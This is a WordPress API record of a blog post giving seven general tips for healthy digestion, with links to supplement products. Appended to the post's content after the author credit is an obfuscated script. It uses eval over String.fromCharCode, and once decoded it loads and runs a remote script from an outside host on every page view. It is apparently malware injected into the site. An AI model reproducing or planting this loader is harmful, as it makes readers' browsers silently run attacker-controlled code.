{"id":7933,"date":"2021-09-07T14:10:04","date_gmt":"2021-09-07T11:10:04","guid":{"rendered":"https:\/\/healthymotivate.com\/?p=7933"},"modified":"2021-09-07T14:14:33","modified_gmt":"2021-09-07T11:14:33","slug":"7-tips-for-healthy-digestion","status":"publish","type":"post","link":"https:\/\/healthymotivate.com\/en\/7-tips-for-healthy-digestion\/","title":{"rendered":"7 Tips for Healthy Digestion"},"content":{"rendered":"<p><em>A smooth running digestive system relies on the right foods at the right time.<\/em><\/p>\n<p>Of all our bodily functions, we probably focus more on our digestive system than any other. I\u2019m sure one reason for this is that we have plenty of opportunities to touch base with our digestive tract and take a reading. After all, you get signals from your digestive system all day long\u2014everything from \u201cFeed me!\u201d to \u201cCould you loosen the belt a little!\u201c and \u201cAir comin\u2019 your way!\u201d Your digestive system has a way of speaking up, and that has a lot to say about what you put in it as well as how much and how often.<\/p>\n<p>Many of us eat too much or eat too fast. We don\u2019t eat enough fiber. We skip meals and then subject our systems to a gigantic plate of food. Considering how much use and abuse our digestive systems have to withstand, it\u2019s a wonder we don\u2019t suffer more than we do. Gas, bloating, \u201chaving a hard time going\u201d\u2014not a day goes by that someone doesn\u2019t complain to me about one of these common digestive problems. Let\u2019s look at what you can do to ease any strain on your digestive system.<\/p>\n<p><strong>Common digestive system disturbances<\/strong><\/p>\n<ul>\n<li>Gas<\/li>\n<li>Bloating<\/li>\n<li>Irregularity<\/li>\n<\/ul>\n<p>Gas production is a normal part of the digestive process, and, unless it\u2019s excessive, it usually indicates a healthy intake of fiber and a well-functioning digestive tract. Most foods that contain carbohydrate\u2014anything from beans to bagels\u2014are not completely broken down during digestion. So, the resident bacteria in your intestines take over, producing gas as they complete the digestive process. The average person passes gas about 14 times a day, releasing about a half liter of gas in the process.<\/p>\n<p>Some people describe feeling bloated after eating\u2014sort of a \u2018puffed up\u2019 sensation that comes on rather quickly, mostly in the upper abdomen. It\u2019s often the result of air that gets trapped in your digestive tract, which can come from a surprising number of sources. Often, it\u2019s simply a matter of swallowing a lot of air while you eat, which can happen if you eat too fast or do a lot of talking while you\u2019re chewing. Sometimes carbonated beverages can leave you feeling bloated, since you\u2019re taking in a lot of air along with your liquid. Some people get that bloated feeling when they eat a fatty meal.<\/p>\n<p>Fat delays the time it takes for food to leave your stomach, so it can leave you feeling uncomfortable.<\/p>\n<p>Irregularity is one of the most common digestive complaints\u2014it\u2019s also one of the most misunderstood. Many people think if they don\u2019t visit the bathroom on a daily basis, they\u2019ve got a problem. But if things are moving smoothly\u2014whether it\u2019s three times a day or three times a week\u2014you probably don\u2019t have anything to worry about.<\/p>\n<p><strong><u>My Seven Tips for Healthy Digestion<\/u><\/strong><\/p>\n<p><strong>Get enough fiber<\/strong><\/p>\n<p><a href=\"https:\/\/healthymotivate.com\/en\/katastima\/basic-nutrition-products\/suplements\/fibre-herb-tablets-180-tablets\/\">Fiber<\/a> is the structural portion of a plant, so it\u2019s found in good-for-you foods like fruits, vegetables, beans and whole grains. Adults should be eating in the neighborhood of 30 grams of fiber a day, but the average intake among adults in the U.S. is only about a third of that. Our busy lifestyles contribute to the problem. When we\u2019re eating on the go, we\u2019re less likely to find fiber-rich fruits, vegetables and whole grains. Aim to have a fruit or vegetable with every meal or snack, toss some beans into a soup or salad, and choose whole grains over refined \u201cwhite\u201d breads, cereals, rice and pasta.<\/p>\n<p><strong>Get some \u201cgood\u201d bacteria<\/strong><\/p>\n<p>Your digestive system is home to thousands of strains of beneficial bacteria that help to break down foods that are resistant to normal digestion. This allows you to obtain more nutrients from your foods. The bacteria in your system also help to keep the growth of other potentially harmful bacteria at bay, thus promoting healthy digestion. While the idea of consuming bacteria in your diet may not sound appealing, the <a href=\"https:\/\/healthymotivate.com\/en\/katastima\/basic-nutrition-products\/suplements\/microbiotic-max-vanilla\/\">probiotic<\/a> bacteria found in yogurt and other fermented foods can promote digestive health. Aside from yogurt, you can pick up some of these \u201cgood\u201d bacteria in other fermented soy products (miso, tempeh, kefir), as well as in pickled foods like cucumber pickles, sauerkraut and kimchi.<\/p>\n<p><strong>Meet your fluid needs<\/strong><\/p>\n<p>Fluid helps the fibers in foods to \u201cswell,\u201d which helps to add more bulk to the material passing through the lower digestive tract. This keeps things running smoothly. Watery fruits and vegetables go a long way towards meeting fluid needs, but it\u2019s still important to drink fluids throughout the day, too.<\/p>\n<p><strong>Get regular exercise<\/strong><\/p>\n<p>Exercise isn\u2019t just for the muscles you can see\u2014it\u2019s good for the smooth muscles of your digestive tract, too. Exercise stimulates the muscles to contract, which keeps things \u201cmoving along.\u201d Exercise is also a great stress-reducer, which makes it particularly good for those whose digestive systems act up when they get stressed out.<\/p>\n<p><strong>Don\u2019t go too long without eating<\/strong><\/p>\n<p>When you go too long without eating, a couple of things are likely to happen: you\u2019ll eat quickly because you\u2019re so hungry, and you\u2019ll eat too much because you\u2019re starving. Either way, you could end up with a touch of indigestion. Your digestive system is likely to be a lot happier if you eat regular meals and snacks throughout the day.<\/p>\n<p><strong>Take your time\u2026making dietary changes<\/strong><\/p>\n<p>Often when people are bothered by gas, they figure the best thing to do is to eliminate \u2018gassy\u2019 foods like beans or broccoli. But rather than eliminating these healthy foods, try eating just small amounts over several days to give your system time to adjust. Similarly, if you\u2019re trying to add more fiber to your diet, work your way up to the recommended 25-30 grams of fiber gradually.<\/p>\n<p><strong>Take your time\u2026eating and eliminating<\/strong><\/p>\n<p>When you eat too fast, not only does it lessen the enjoyment of your meal, but you\u2019re more likely to swallow air which can lead to gas and bloating. When you eat too quickly, you\u2019re more likely to overeat since it takes your stomach about 20 minutes to tell your brain that you\u2019re full. And that can lead to further digestive discomfort. Lastly, when nature calls, be sure to listen. Too many people put off visits to the restroom if the urge to \u201cgo\u201d strikes at an inconvenient time. Sure, the urge may pass, but if you put it off, you\u2019re more likely to have trouble getting the job done.<\/p>\n<p><em>Susan Bowerman,\u00a0Senior Director of Worldwide Nutrition Education and Training at Herbalife Nutrition<\/em><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A smooth running digestive system relies on the right foods at the right time. Of all our bodily functions, we<\/p>\n","protected":false},"author":5,"featured_media":7931,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[235],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>7 Tips for Healthy Digestion - Healthy Motivate<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/healthymotivate.com\/en\/7-tips-for-healthy-digestion\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"7 Tips for Healthy Digestion - Healthy Motivate\" \/>\n<meta property=\"og:description\" content=\"A smooth running digestive system relies on the right foods at the right time. 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